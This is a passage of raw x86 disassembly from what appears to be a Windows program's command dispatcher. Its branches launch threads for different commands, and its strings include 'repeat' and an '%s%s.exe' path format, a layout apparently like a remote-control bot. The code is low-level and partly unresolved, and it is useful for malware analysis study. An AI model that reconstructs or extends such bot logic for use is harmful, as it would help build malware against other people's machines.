		call	sub_409869
		add	esp, 28h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_407984:				; CODE XREF: sub_401ACD+4DA9j
					; sub_401ACD+4DC0j
		push	edi
		call	dword_4CBA24
		push	[ebp+arg_18]
		mov	[ebp+var_680], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41BFD0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A918
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C92C
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407A66


loc_407A50:				; CODE XREF: sub_401ACD+5F97j
		cmp	[ebp+var_670], ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_407A50
; ---------------------------------------------------------------------------


loc_407A66:				; CODE XREF: sub_401ACD+5F81j
		call	near ptr 26A0CACh
		nop
		push	eax
		push	offset unk_42AA08
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407A77:				; CODE XREF: sub_401ACD+4D7Bj
					; sub_401ACD+4D92j
		push	edi
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1130],	eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1134],	eax
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_88]
		mov	[ebp+var_123C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_1120],	eax
		push	[ebp+var_1134]
		lea	eax, [ebp+var_1234]
		mov	[ebp+var_1124],	edi
		push	eax
		push	[ebp+var_1130]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A8DC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_112C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_123C]
		push	ebx
		push	eax
		push	offset loc_410DAB
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_112C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407B63


loc_407B4D:				; CODE XREF: sub_401ACD+6094j
		cmp	[ebp+var_111C],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_407B4D
; ---------------------------------------------------------------------------


loc_407B63:				; CODE XREF: sub_401ACD+607Ej
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42A898
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407B74:				; CODE XREF: sub_401ACD+4D4Dj
					; sub_401ACD+4D64j
		push	0FFh
		lea	eax, [ebp+var_287C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	0FFh
		lea	eax, [ebp+var_277C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		mov	[ebp+var_2678],	ebx
		call	sub_41C159
		mov	[ebp+var_2674],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407BCD
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_266C],	eax
		jmp	short loc_407BD3
; ---------------------------------------------------------------------------


loc_407BCD:				; CODE XREF: sub_401ACD+60EAj
		mov	[ebp+var_266C],	ebx


loc_407BD3:				; CODE XREF: sub_401ACD+60FEj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407BEA
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_2670],	eax
		jmp	short loc_407BF0
; ---------------------------------------------------------------------------


loc_407BEA:				; CODE XREF: sub_401ACD+610Cj
		mov	[ebp+var_2670],	ebx


loc_407BF0:				; CODE XREF: sub_401ACD+611Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2668],	eax
		lea	eax, [ebp+var_28FC]
		mov	[ebp+var_2900],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_2660],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A86C
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_267C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2900]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_267C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407CA1


loc_407C8B:				; CODE XREF: sub_401ACD+61D2j
		cmp	[ebp+var_265C],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_407C8B
; ---------------------------------------------------------------------------


loc_407CA1:				; CODE XREF: sub_401ACD+61BCj
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42A82C
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407CB2:				; CODE XREF: sub_401ACD+4D1Fj
					; sub_401ACD+4D36j
		push	7Fh
		lea	eax, [ebp+var_3494]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3414]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3394]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3314]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3290],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_328C],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3498],	esi
		push	edi
		push	offset unk_42A7F0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3294],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3498]
		push	ebx
		push	eax
		push	offset byte_41561D
		push	ebx
		push	ebx
		call	near ptr 26A04CCh
		nop
		mov	ecx, [ebp+var_3294]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407D89


loc_407D73:				; CODE XREF: sub_401ACD+62BAj
		cmp	[ebp+var_3288],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_407D73
; ---------------------------------------------------------------------------


loc_407D89:				; CODE XREF: sub_401ACD+62A4j
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42A7B8
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407D9A:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j
		push	7Fh
		lea	eax, [ebp+var_306C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2FEC]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2F6C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2EEC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3070],	esi
		push	edi
		push	offset unk_42A788
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_2E6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3070]
		push	ebx
		push	eax
		push	offset dword_414358
		push	ebx
		push	ebx
		call	near ptr 26A04CCh
		nop
		mov	ecx, [ebp+var_2E6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407E71


loc_407E5B:				; CODE XREF: sub_401ACD+63A2j
		cmp	[ebp+var_2E60],	ebx
		jnz	loc_407196
		push	32h
		call	near ptr 26A0475h
		nop
		jmp	short loc_407E5B
; ---------------------------------------------------------------------------


loc_407E71:				; CODE XREF: sub_401ACD+638Cj
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42A750
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407E82:				; CODE XREF: sub_401ACD+4AC9j
					; sub_401ACD+4AE0j ...
		push	7Fh
		lea	eax, [ebp+var_3CE8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3C68]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3BE8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3B68]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		push	20h
		lea	eax, [ebp+var_3AE8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3CF0],	esi
		push	edi
		push	offset unk_42A720
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3CEC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CF0]
		push	ebx
		push	eax
		push	offset byte_4135DF
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_3CEC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407F6A


loc_407F54:				; CODE XREF: sub_401ACD+649Bj
		cmp	[ebp+var_3A60],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_407F54
; ---------------------------------------------------------------------------


loc_407F6A:				; CODE XREF: sub_401ACD+6485j
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42A6E8
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407F7B:				; CODE XREF: sub_401ACD+4A9Bj
					; sub_401ACD+4AB2j
		push	7Fh
		lea	eax, [ebp+var_177C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	3Fh
		mov	[ebp+var_162C],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16FC]
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_407FC6
		push	3Fh
		lea	eax, [ebp+var_16BC]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_407FC6:				; CODE XREF: sub_401ACD+64E5j
		lea	eax, [ebp+var_16FC]
		mov	[ebp+var_1628],	1
		push	eax
		lea	eax, [ebp+var_177C]
		push	[ebp+var_162C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A6B8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1624],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1780]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_1624]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_408052


loc_40803C:				; CODE XREF: sub_401ACD+6583j
		cmp	[ebp+var_1620],	ebx
		jnz	loc_406BFE
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_40803C
; ---------------------------------------------------------------------------


loc_408052:				; CODE XREF: sub_401ACD+656Dj
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset dword_42A67C
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408063:				; CODE XREF: sub_401ACD+4A5Bj
					; sub_401ACD+4A72j
		push	[ebp+arg_18]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D68],	eax
		jle	loc_408156
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1EF0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D64],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF4],	eax
		lea	eax, [ebp+var_1DF0]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_1D5C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A650
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1D70],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF4]
		push	ebx
		push	eax
		push	offset byte_413A29
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_1D70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_408145


loc_408133:				; CODE XREF: sub_401ACD+6676j
		cmp	[ebp+var_1D58],	ebx
		jnz	short loc_4081AD
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_408133
; ---------------------------------------------------------------------------


loc_408145:				; CODE XREF: sub_401ACD+6664j
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42A618
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_408156:				; CODE XREF: sub_401ACD+65A7j
		push	offset unk_42A5E0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408160:				; CODE XREF: sub_401ACD+4A2Dj
					; sub_401ACD+4A44j
		push	[ebp+arg_18]
		push	edi
		call	near ptr 26C0AF7h
		nop
		test	eax, eax
		jz	short loc_40818D
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A5BC
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_4081AD
; ---------------------------------------------------------------------------


loc_40818D:				; CODE XREF: sub_401ACD+669Fj
		push	offset dword_42A5B0
		call	sub_418699
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360


loc_4081AA:				; CODE XREF: sub_401ACD+548Dj
					; sub_401ACD+73C5j
		add	esp, 0Ch


loc_4081AD:				; CODE XREF: sub_401ACD+20DCj
					; sub_401ACD+2E89j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4081CA:				; CODE XREF: sub_401ACD+56E4j
		call	sub_409869
		add	esp, 14h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_4081D7:				; CODE XREF: sub_401ACD+49FFj
					; sub_401ACD+4A16j
		push	edi
		lea	eax, [ebp+var_3F08]
		push	104h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_408211
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408211
		push	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_408211:				; CODE XREF: sub_401ACD+6722j
					; sub_401ACD+6733j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F8C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CFC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF8],	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		lea	eax, [ebp+var_3F08]
		push	eax
		push	offset unk_42A580
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3D00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8C]
		push	ebx
		push	eax
		push	offset dword_417054
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_3D00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4082C3


loc_4082B1:				; CODE XREF: sub_401ACD+67F4j
		cmp	[ebp+var_3CF4],	ebx
		jnz	short loc_4082DE
		push	32h
		call	near ptr 26A0475h
		nop
		jmp	short loc_4082B1
; ---------------------------------------------------------------------------


loc_4082C3:				; CODE XREF: sub_401ACD+67E2j
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42A544


loc_4082CF:				; CODE XREF: sub_401ACD+909j
					; sub_401ACD+A47j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4082DE:				; CODE XREF: sub_401ACD+7C5j
					; sub_401ACD+930j ...
		push	1
		pop	esi
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_4082E6:				; CODE XREF: sub_401ACD+49D1j
					; sub_401ACD+49E8j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	edi
		mov	[ebp+var_63C], esi
		call	sub_41C159
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408323
		mov	[ebp+var_638], 5


loc_408323:				; CODE XREF: sub_401ACD+684Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406BFE
		lea	eax, [ebp+var_E34]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 26802DCh
		nop
		test	eax, eax
		jnz	short loc_40836E
		push	offset unk_42A520
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40836E:				; CODE XREF: sub_401ACD+6895j
		push	edi
		push	offset dword_42A504
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408379:				; CODE XREF: sub_401ACD+49A3j
					; sub_401ACD+49BAj
		push	[ebp+arg_18]
		push	offset aScortiser ; "scortiser"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084F0
		lea	eax, [ebp+var_4BF8]
		push	eax
		push	104h
		nop
		call	near ptr 26C0000h
		push	0FFh
		lea	eax, [ebp+var_25D4]
		push	edi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_17D4]
		push	eax
		call	sub_40AB77
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_4BF8]
		push	eax
		lea	eax, [ebp+var_24D4]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23D0],	1
		mov	[ebp+var_23CC],	ebx
		jz	short loc_40840E
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408414
; ---------------------------------------------------------------------------


loc_40840E:				; CODE XREF: sub_401ACD+692Bj
		mov	[ebp+var_23C4],	ebx


loc_408414:				; CODE XREF: sub_401ACD+693Fj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40842B
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_23C8],	eax
		jmp	short loc_408431
; ---------------------------------------------------------------------------


loc_40842B:				; CODE XREF: sub_401ACD+694Dj
		mov	[ebp+var_23C8],	ebx


loc_408431:				; CODE XREF: sub_401ACD+695Cj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23C0],	eax
		lea	eax, [ebp+var_2654]
		mov	[ebp+var_2658],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23BC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4CC
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_23D4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2658]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_23D4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4084DF


loc_4084C9:				; CODE XREF: sub_401ACD+6A10j
		cmp	[ebp+var_23B4],	ebx
		jnz	loc_406BFE
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_4084C9
; ---------------------------------------------------------------------------


loc_4084DF:				; CODE XREF: sub_401ACD+69FAj
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset dword_42A490
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_4084F0:				; CODE XREF: sub_401ACD+68BDj
		push	offset dword_42A448


loc_4084F5:				; CODE XREF: sub_401ACD+2E30j
					; sub_401ACD+447Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_408508:				; CODE XREF: sub_401ACD+4975j
					; sub_401ACD+498Cj
		push	[ebp+var_8C]
		push	offset dword_42CCD0
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A438
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		push	edi
		call	sub_41C159
		add	esp, 28h
		test	eax, eax
		jle	short loc_408591
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	near ptr 26A0475h
		nop


loc_408591:				; CODE XREF: sub_401ACD+6AAEj
		push	offset dword_42A424
		call	sub_415D38
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4085A5:				; CODE XREF: sub_401ACD+4947j
					; sub_401ACD+495Ej
		push	[ebp+var_8C]
		push	offset dword_42CCD0
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408664
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A438
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset unk_42A40C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_408664:				; CODE XREF: sub_401ACD+6B1Dj
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D8
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_408678:				; CODE XREF: sub_401ACD+74E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_408699
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_408699:				; CODE XREF: sub_401ACD+6BAEj
					; sub_401ACD+71C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_4086AA:				; CODE XREF: sub_401ACD+4919j
					; sub_401ACD+4930j
		push	7Fh
		lea	eax, [ebp+var_2218]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2198]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2118]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2094],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_221C],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2090],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A3A4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2098],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_221C]
		push	ebx
		push	eax
		push	offset byte_414F57
		push	ebx
		push	ebx
		call	near ptr 26A04CCh
		nop
		mov	ecx, [ebp+var_2098]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40876E


loc_408758:				; CODE XREF: sub_401ACD+6C9Fj
		cmp	[ebp+var_208C],	ebx
		jnz	loc_40885A
		push	32h
		call	near ptr 26A0475h
		nop
		jmp	short loc_408758
; ---------------------------------------------------------------------------


loc_40876E:				; CODE XREF: sub_401ACD+6C89j
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42A368
		jmp	loc_40884B
; ---------------------------------------------------------------------------


loc_40877F:				; CODE XREF: sub_401ACD+48EBj
					; sub_401ACD+4902j
		push	7Fh
		lea	eax, [ebp+var_23AC]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_232C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_22AC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
